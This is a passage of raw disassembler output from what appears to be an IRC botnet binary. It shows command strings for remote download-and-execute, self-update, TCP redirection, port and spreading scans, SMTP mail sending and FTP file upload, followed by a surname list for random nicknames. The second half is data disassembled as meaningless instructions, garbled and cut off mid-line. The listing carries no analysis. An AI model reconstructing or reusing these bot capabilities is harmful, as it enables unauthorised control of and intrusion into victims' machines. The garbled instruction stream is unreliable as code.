DATA XREF: sub_403038+1A7Do align 10h aC_j db 'c_j',0 ; DATA XREF: sub_403038+1A92o aJoinSS_2 db 'JOIN %s %s',0 ; DATA XREF: sub_403038+5163o align 10h aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+519Fo align 4 aC_part db 'c_part',0 ; DATA XREF: sub_403038+1AA7o align 10h aC_p db 'c_p',0 ; DATA XREF: sub_403038+1ABCo aPartS_0 db 'PART %s',0 ; DATA XREF: sub_403038+50F2o aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+512Eo align 4 aUpdateroooom db 'updateroooom',0 ; DATA XREF: sub_403038+1AD1o align 4 aUproo db 'uproo',0 ; DATA XREF: sub_403038+1AE6o align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_403038+4FC3o align 4 dword_439918 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_403038+5066o aDownloadingUpd db '- Downloading update from: %s.',0 align 4 dword_439944 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_403038+50D5o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_439980 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_403038:loc_408117o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 aExecute db 'execute',0 ; DATA XREF: sub_403038+1AFBo aE: ; DATA XREF: sub_403038+1B10o unicode 0, <e>,0 unk_4399D4 db 2Dh ; - ; DATA XREF: sub_403038+4F52o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_4399F8 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_403038+4F5Do dd 7325203Ah, 0 aMydear db 'mydear',0 ; DATA XREF: sub_403038+1B25o align 4 aMydear_0 db 'mydear',0 ; DATA XREF: sub_403038+1B3Ao align 4 unk_439A24 db 2Dh ; - ; DATA XREF: sub_403038+4E31o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_439A50 db 2Dh ; - ; DATA XREF: sub_403038+4E9Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start transfer thread, error: <%d>.',0 align 10h aRedirect db 'redirect',0 ; DATA XREF: sub_403038+1B4Fo align 4 aRd db 'rd',0 ; DATA XREF: sub_403038+1B64o align 10h unk_439AA0 db 2Dh ; - ; DATA XREF: sub_403038+4CDBo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_439ADC db 2Dh ; - ; DATA XREF: sub_403038+4D4Ao db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 10h aScan db 'scan',0 ; DATA XREF: sub_403038+1B79o align 4 aSc db 'sc',0 ; DATA XREF: sub_403038+1B8Eo align 4 unk_439B2C db 2Dh ; - ; DATA XREF: sub_403038+4BD7o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 unk_439B68 db 2Dh ; - ; DATA XREF: sub_403038+4C46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_13 db 'Failed to start scan thread, error: <%d>.',0 align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_403038+1BA3o align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_403038+1BB8o align 4 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_403038+4B49o align 4 aC_action db 'c_action',0 ; DATA XREF: sub_403038+1BCDo align 10h aC_a db 'c_a',0 ; DATA XREF: sub_403038+1BE2o dword_439BD4 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_403038+49A8o dword_439BE0 dd 5D73255Bh, 25202A20h, 73252073h, 0 ; DATA XREF: sub_403038+4A39o aPortscan db 'portscan',0 ; DATA XREF: sub_403038+1C06o align 4 aPsc db 'psc',0 ; DATA XREF: sub_403038+1C1Bo unk_439C00 db 2Dh ; - ; DATA XREF: sub_403038+48CAo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_439C50 db 2Dh ; - ; DATA XREF: sub_403038+4939o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_14 db 'Failed to start scan thread, error: <%d>.',0 align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_403038+1C30o aAsc db 'asc',0 ; DATA XREF: sub_403038+1C45o unk_439C98 db 2Dh ; - ; DATA XREF: sub_403038+4375o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 4 unk_439CD8 db 2Dh ; - ; DATA XREF: sub_403038+45E2o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_15 db 'Failed to start scan, port is invalid.',0 align 4 unk_439D0C db 2Dh ; - ; DATA XREF: sub_403038+463Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_16 db 'Failed to start scan, no IP specified.',0 align 10h aRandom_0 db 'Random',0 ; DATA XREF: sub_403038+4788o align 4 aSequential_0 db 'Sequential',0 ; DATA XREF: sub_403038+478Fo align 4 unk_439D54 db 2Dh ; - ; DATA XREF: sub_403038+47BAo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_439DBC db 2Dh ; - ; DATA XREF: sub_403038+4829o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_17 db 'Failed to start scan thread, error: <%d>.',0 align 4 aEmail db 'email',0 ; DATA XREF: sub_403038+1C5Ao align 4 asc_439DFC: ; DATA XREF: sub_403038+1CAEo unicode 0, < >,0 a_: ; DATA XREF: sub_403038+1CB3o unicode 0, <_>,0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_403038+1D4Fo db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 unk_439E50 db 2Dh ; - ; DATA XREF: sub_403038+1DC3o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_403038+42EDo aHcon db 'hcon',0 ; DATA XREF: sub_403038+42FEo align 4 aUpload db 'upload',0 ; DATA XREF: sub_403038+43A7o align 4 unk_439E8C db 2Dh ; - ; DATA XREF: sub_403038+43D1o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_403038+441Bo align 4 aAb db 'ab',0 ; DATA XREF: sub_403038+442Co align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_403038+445Do db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSS_0 db '-s:%s',0 ; DATA XREF: sub_403038+447Do align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_403038+4494o aOpen_1 db 'open',0 ; DATA XREF: sub_403038+4499o align 4 unk_439EFC db 2Dh ; - ; DATA XREF: sub_403038+44ADo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 4 dword_439F24 dd 234032Dh, 2707466h, 55202D03h, 616F6C70h, 676E6964h ; DATA XREF: sub_403038:loc_4074ECo dd 6C696620h, 25203A65h, 6F742073h, 7325203Ah, 69616620h dd 2E64656Ch, 2 dup(0) aReal db 'real',0 align 10h dd 0 dword_439F64 dd 0 ; DATA XREF: sub_408B4C+7o off_439F68 dd offset sub_408768 ; DATA XREF: sub_408B4C+49r aConst db 'const',0 align 8 dd 1, 4087D4h, 7474656Ch, 7265h, 0 dd 2, 408832h, 706D6F63h, 2 dup(0) dd 3, 40887Fh, 6E756F63h, 797274h, 0 dd 4, 408925h, 736Fh, 2 dup(0) dd 5, 40899Ah off_439FD0 dd offset aAbdulrazak ; DATA XREF: sub_408768+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_439FDC dd offset aAddison ; DATA XREF: sub_408B4C+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" ; --------------------------------------------------------------------------- or [ebp-4AEFFFBDh], dh inc ebx add [eax], bl mov ch, 43h add ds:0B5300043h[esi*4], ah inc ebx add [eax], bh mov ch, 43h add [eax-4Bh], cl inc ebx add [ebp+esi*4+43h], dl add [eax-4Bh], ah inc ebx add [eax-4Bh], ch inc ebx add [eax-4Bh], dh inc ebx add [eax-77FFBC4Bh], al mov ch, 43h add [eax-5BFFBC4Bh], bl mov ch, 43h add [eax-43FFBC4Bh], dh mov ch, 43h add ah, cl mov ch, 43h add ah, dl mov ch, 43h add ah, bl mov ch, 43h add al, ch mov ch, 43h add al, dh mov ch, 43h add al, bh mov ch, 43h add ah, bh mov ch, 43h add [esi+esi*4], al inc ebx add [esi+esi*4], cl inc ebx add [eax], bl mov dh, 43h add [esi+esi*4], ah inc ebx add [esi+esi*4], ch inc ebx add [eax], bh mov dh, 43h add [eax-4Ah], al inc ebx add [eax-4Ah], cl inc ebx add [eax-4Ah], dl inc ebx add [eax-4Ah], bl inc ebx add [esi+esi*4+43h], ah add [eax-4Ah], dh inc ebx add [eax-4Ah], bh inc ebx add [eax-77FFBC4Ah], al mov dh, 43h add [eax-63FFBC4Ah], dl mov dh, 43h add [esi+esi*4-4953FFBDh], ah inc ebx add [esi+esi*4-493FFFBDh], dh inc ebx add ah, cl mov dh, 43h add ah, dl mov dh, 43h add al, ah mov dh, 43h add al, ch mov dh, 43h add ah, dh mov dh, 43h add ah, bh mov dh, 43h add [edi+esi*4], al inc ebx add [edi+esi*4], cl inc ebx add [edi+esi*4], dl inc ebx add [edi+esi*4], bl inc ebx add [edi+esi*4], ah inc ebx add [edi+esi*4], ch inc ebx add [eax], bh mov bh, 43h add [eax-49h], al inc ebx add [eax-49h], cl inc ebx add [edi+esi*4+43h], dl add [edi+esi*4+43h], bl add [edi+esi*4+43h], ah add [edi+esi*4+43h], ch add [edi+esi*4+43h], dh add [eax-77FFBC49h], al mov bh, 43h add [eax-67FFBC49h], dl mov bh, 43h add [eax-57FFBC49h], ah mov bh, 43h add [eax-47FFBC49h], dh mov bh, 43h add al, al mov bh, 43h add ah, cl mov bh, 43h add ah, dl mov bh, 43h add ah, bl mov bh, 43h add ah, ah mov bh, 43h add ah, ch mov bh, 43h add ah, dh mov bh, 43h add ah, bh mov bh, 43h add [eax+edi*4], al inc ebx add [eax+edi*4], cl inc ebx add [eax+edi*4], dl inc ebx add [eax+edi*4], bl inc ebx add [eax+edi*4], ah inc ebx add [eax+edi*4], ch inc ebx add [eax+edi*4], dh inc ebx add [eax-48h], al inc ebx add [eax-48h], cl inc ebx add [eax-48h], dl inc ebx add [eax-48h], bl inc ebx add [eax-48h], ah inc ebx add [eax-48h], ch inc ebx add [eax-48h], dh inc ebx add [eax+edi*4+43h], bh add [eax-6FFFBC48h], cl mov eax, 0B8980043h inc ebx add [eax+edi*4-474FFFBDh], ah inc ebx add [eax+edi*4-4737FFBDh], bh inc ebx add al, dl mov eax, 0B8DC0043h inc ebx add ah, ch mov eax, 0B8F40043h inc ebx add ah, bh mov eax, 0B9040043h inc ebx add [eax], dl mov ecx, 0B9180043h inc ebx add [eax], ah mov ecx, 0B92C0043h inc ebx add [ecx+edi*4], dh inc ebx add [ecx+edi*4], bh inc ebx add [ecx+edi*4+43h], al add [eax-47h], dl inc ebx add [ecx+edi*4+43h], bl add [ecx+edi*4+43h], ah add [eax-47h], dh inc ebx add [eax-47h], bh inc ebx add [eax-77FFBC47h], al mov ecx, 0B9900043h inc ebx add [eax-5BFFBC47h], bl mov ecx, 0B9B00043h inc ebx add [eax-3BFFBC47h], bh mov ecx, 0B9CC0043h inc ebx add al, bl mov ecx, 0B9E00043h inc ebx add ah, ch mov ecx, 0B9F80043h inc ebx add [edx+edi*4], al inc ebx add [eax], dl mov edx, 0BA1C0043h inc ebx add [eax], ah mov edx, 0BA2C0043h inc ebx add [edx+edi*4], dh inc ebx add [eax-46h], al inc ebx add [eax-46h], cl inc ebx add [edx+edi*4+43h], dl add [edx+edi*4+43h], bl add [edx+edi*4+43h], ah add [edx+edi*4+43h], ch add [edx+edi*4+43h], dh add [edx+edi*4+43h], bh add [edx+edi*4-4573FFBDh], al inc ebx add [edx+edi*4-4563FFBDh], dl inc ebx add [edx+edi*4-4553FFBDh], ah inc ebx add [edx+edi*4-4543FFBDh], dh inc ebx add ah, al mov edx, 0BAD00043h inc ebx add al, bl mov edx, 0BAE40043h inc ebx add ah, ch mov edx, 0BAF40043h inc ebx add ah, bh mov edx, 0BB080043h inc ebx add [eax], dl mov ebx, 0BB180043h inc ebx add [ebx+edi*4], ah inc ebx add [ebx+edi*4], ch inc ebx add [ebx+edi*4], dh inc ebx add [ebx+edi*4], bh inc ebx add [ebx+edi*4+43h], al add [eax-45h], cl inc ebx add [eax-45h], dl inc ebx add [eax-45h], bl inc ebx add [eax-45h], ah inc ebx add [eax-45h], ch inc ebx add [eax-45h], dh inc ebx add [ebx+edi*4+43h], bh add [ebx+edi*4-4473FFBDh], al inc ebx add [ebx+edi*4-4463FFBDh], dl inc ebx add [ebx+edi*4-444FFFBDh], ah inc ebx add [ebx+edi*4-443FFFBDh], dh inc ebx add al, cl mov ebx, 0BBD00043h inc ebx add al, bl mov ebx, 0BBE40043h inc ebx add al, dh mov ebx, 0BBFC0043h inc ebx add [eax], cl mov esp, 0BC100043h inc ebx add [eax], bl mov esp, 0BC240043h inc ebx add [eax], dh mov esp, 0BC400043h inc ebx add [eax-44h], cl inc ebx add [esp+edi*4+43h], dl add [esp+edi*4+43h], bl add [eax-44h], ch inc ebx add [eax-44h], dh inc ebx add [eax-44h], bh inc ebx add [eax-77FFBC44h], al mov esp, 0BC940043h inc ebx add [esp+edi*4-435BFFBDh], bl inc ebx add [esp+edi*4-4347FFBDh], ch inc ebx add al, al mov esp, 0BCCC0043h inc ebx add al, bl mov esp, 0BCE40043h inc ebx add ah, ch mov esp, 0BCF40043h inc ebx add ah, bh mov esp, 0BD040043h inc ebx add ds:0BD140043h[edi*4], cl inc ebx add ds:0BD240043h[edi*4], bl inc ebx add ds:0BD340043h[edi*4], ch inc ebx add ds:0BD480043h[edi*4], bh inc ebx add [eax-43h], dl inc ebx add [eax-43h], bl inc ebx add [eax-43h], ah inc ebx add [eax-43h], ch inc ebx add [ebp+edi*4+43h], dh add [ebp+edi*4+43h], bh add [ebp+edi*4-4273FFBDh], al inc ebx add [ebp+edi*4-4263FFBDh], dl inc ebx add [ebp+edi*4-4253FFBDh], ah inc ebx add [eax-3BFFBC43h], bh mov ebp, 0BDD00043h inc ebx add ah, bl mov ebp, 0BDE40043h inc ebx add ah, ch mov ebp, 0BDF40043h inc ebx add ah, bh mov ebp, 0BE040043h inc ebx add [esi+edi*4], cl inc ebx add [esi+edi*4], dl inc ebx add [esi+edi*4], bl inc ebx add [eax], ch mov esi, 0BE300043h inc ebx add [eax], bh mov esi, 0BE440043h inc ebx add [esi+edi*4+43h], cl add [esi+edi*4+43h], dl add [esi+edi*4+43h], bl add [esi+edi*4+43h], ah add [esi+edi*4+43h], dh add [esi+edi*4+43h], bh add [esi+edi*4-4173FFBDh], al inc ebx add [esi+edi*4-4163FFBDh], dl inc ebx add [esi+edi*4-414FFFBDh], ah inc ebx add [eax-3FFFBC42h], bh mov esi, 0BEC80043h inc ebx add ah, dl mov esi, 0BEE00043h inc ebx add ah, ch mov esi, 0BEF40043h inc ebx add ah, bh mov esi, 0BF040043h inc ebx add [edi+edi*4], cl inc ebx add [eax], bl mov edi, 0BF240043h inc ebx add [edi+edi*4], ch inc ebx add [edi+edi*4], dh inc ebx add [eax-41h], al inc ebx add [eax-41h], cl inc ebx add [eax-41h], dl inc ebx add [eax-41h], bl inc ebx add [edi+edi*4+43h], ah add [edi+edi*4+43h], ch add [edi+edi*4+43h], dh add [edi+edi*4+43h], bh add [edi+edi*4-406FFFBDh], al inc ebx add [eax-57FFBC41h], ah mov edi, 0BFB80043h inc ebx add al, al mov edi, 0BFCC0043h inc ebx add ah, dl mov edi, 0BFE00043h inc ebx add al, ch mov edi, 0BFF00043h inc ebx add ah, bh mov edi, 0C0040043h inc ebx add [eax], dl rol byte ptr [ebx+0], 18h rol byte ptr [ebx+0], 20h rol byte ptr [ebx+0], 28h rol byte ptr [ebx+0], 34h rol byte ptr [ebx+0], 40h rol byte ptr [ebx+0], 4Ch rol byte ptr [ebx+0], 54h rol byte ptr [ebx+0], 5Ch rol byte ptr [ebx+0], 68h rol byte ptr [ebx+0], 70h rol byte ptr [ebx+0], 78h rol byte ptr [ebx+0], 80h rol byte ptr [ebx+0], 8Ch rol byte ptr [ebx+0], 94h rol byte ptr [ebx+0], 9Ch rol byte ptr [ebx+0], 0A4h rol byte ptr [ebx+0], 0ACh rol byte ptr [ebx+0], 0B4h rol byte ptr [ebx+0], 0BCh rol byte ptr [ebx+0], 0C4h rol byte ptr [ebx+0], 0CCh rol byte ptr [ebx+0], 0D8h rol byte ptr [ebx+0], 0E0h rol byte ptr [ebx+0], 0E8h rol byte ptr [ebx+0], 0F0h rol byte ptr [ebx+0], 0F8h rol byte ptr [ebx+0], 4 rol dword ptr [ebx+0], 10h rol dword ptr [ebx+0], 18h rol dword ptr [ebx+0], 24h rol dword ptr [ebx+0], 2Ch rol dword ptr [ebx+0], 34h rol dword ptr [ebx+0], 3Ch rol dword ptr [ebx+0], 48h rol dword ptr [ebx+0], 54h rol dword ptr [ebx+0], 60h rol dword ptr [ebx+0], 6Ch rol dword ptr [ebx+0], 78h rol dword ptr [ebx+0], 80h rol dword ptr [ebx+0], 88h rol dword ptr [ebx+0], 94h rol dword ptr [ebx+0], 9Ch rol dword ptr [ebx+0], 0A0h rol dword ptr [ebx+0], 0A4h rol dword ptr [ebx+0], 0ACh rol dword ptr [ebx+0], 0B4h rol dword ptr [ebx+0], 0C0h rol dword ptr [ebx+0], 0C8h rol dword ptr [ebx+0], 0D0h rol dword ptr [ebx+0], 0DCh rol dword ptr [ebx+0], 0E4h rol dword ptr [ebx+0], 0F4h rol dword ptr [ebx+0], 0FCh rol dword ptr [ebx+0], 8 retn 43h ; --------------------------------------------------------------------------- adc dl, al inc ebx add [eax], bl retn 43h ; --------------------------------------------------------------------------- and dl, al inc ebx add [edx+eax*8], ch inc ebx add [edx+eax*8], dh inc ebx add [eax-3Eh], al inc ebx add [eax-3Eh], cl inc ebx add [edx+eax*8+43h], dl add [eax-3Eh], ah inc ebx add [eax-3Eh], ch inc ebx add [edx+eax*8+43h], dh add [edx+eax*8+43h], bh add [edx+eax*8-3D73FFBDh], al inc ebx add [eax-5BFFBC3Eh], bl retn 43h ; --------------------------------------------------------------------------- lodsb retn 43h ; --------------------------------------------------------------------------- mov ah, 0C2h inc ebx add [edx+eax*8-3D37FFBDh], bh inc ebx add al, dl retn 43h ; --------------------------------------------------------------------------- fadd st(2), st inc ebx add ah, ah retn 43h ; --------------------------------------------------------------------------- dd offset aHernandez ; "Hernandez" ; --------------------------------------------------------------------------- cld retn 43h ; --------------------------------------------------------------------------- add al, 0C3h inc ebx add [ebx+eax*8], cl inc ebx add [ebx+eax*8], dl inc ebx add [ebx+eax*8], bl inc ebx add [eax], ch retn ; --------------------------------------------------------------------------- inc ebx add [eax], dh retn ; --------------------------------------------------------------------------- inc ebx add [eax], bh retn ; --------------------------------------------------------------------------- inc ebx add [ebx+eax*8+43h], al add [ebx+eax*8+43h], cl add [ebx+eax*8+43h], dl add [ebx+eax*8+43h], bl add [ebx+eax*8+43h], ah add [eax-3Dh], dh inc ebx add [eax-3Dh], bh inc ebx add [eax-77FFBC3Dh], al retn ; --------------------------------------------------------------------------- inc ebx add [eax-67FFBC3Dh], dl retn ; --------------------------------------------------------------------------- inc ebx add [eax-57FFBC3Dh], ah retn ; --------------------------------------------------------------------------- inc ebx add [eax-47FFBC3Dh], dh retn ; --------------------------------------------------------------------------- inc ebx add al, al retn ; --------------------------------------------------------------------------- inc ebx add al, cl retn ; --------------------------------------------------------------------------- inc ebx add al, dl retn ; --------------------------------------------------------------------------- inc ebx add al, bl retn ; --------------------------------------------------------------------------- inc ebx add ah, bl retn ; --------------------------------------------------------------------------- db 43h ; C db 0 db 0E4h ; ä db 0C3h ; à ; --------------------------------------------------------------------------- inc ebx add al, dh retn ; --------------------------------------------------------------------------- inc ebx add ah, bh retn ; --------------------------------------------------------------------------- dw 43h dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" ; --------------------------------------------------------------------------- cld mov dword ptr [ebx+0], offset aLecar ; "Lecar" or al, 0C8h inc ebx add [eax+ecx*8], dl inc ebx add [eax], ah enter 43h, 28h enter 43h, 30h enter 43h, 3Ch enter 43h, 44h enter 43h, 4Ch enter 43h, 54h enter 43h, 5Ch enter 43h, 64h enter 43h, 6Ch enter 43h, 78h enter 43h, 7Ch enter 43h, 84h enter 43h, 8Ch enter 43h, 94h enter 43h, 9Ch enter 43h, 0A4h enter 43h, 0ACh enter 43h, 0B8h enter 43h, 0C4h enter 43h, 0CCh enter 43h, 0D4h enter 43h, 0E0h enter 43h, 0E8h enter 43h, 0F0h enter 43h, 0F8h enter 43h, 4 leave inc ebx add [eax], dl leave inc ebx add [eax], bl leave inc ebx add [eax], ah leave inc ebx add [ecx+ecx*8], ch inc ebx add [ecx+ecx*8], dh inc ebx add [ecx+ecx*8], bh inc ebx add [ecx+ecx*8+43h], al add [ecx+ecx*8+43h], cl add [ecx+ecx*8+43h], dl add [ecx+ecx*8+43h], bl add [ecx+ecx*8+43h], ah add [ecx+ecx*8+43h], ch add [ecx+ecx*8+43h], dh add [eax-77FFBC37h], al leave inc ebx add [ecx+ecx*8-3667FFBDh], cl inc ebx add [ecx+ecx*8-364FFFBDh], ah inc ebx add [ecx+ecx*8-3637FFBDh], bh inc ebx add ah, dl leave inc ebx add ah, bl leave inc ebx add ah, ah leave inc ebx add 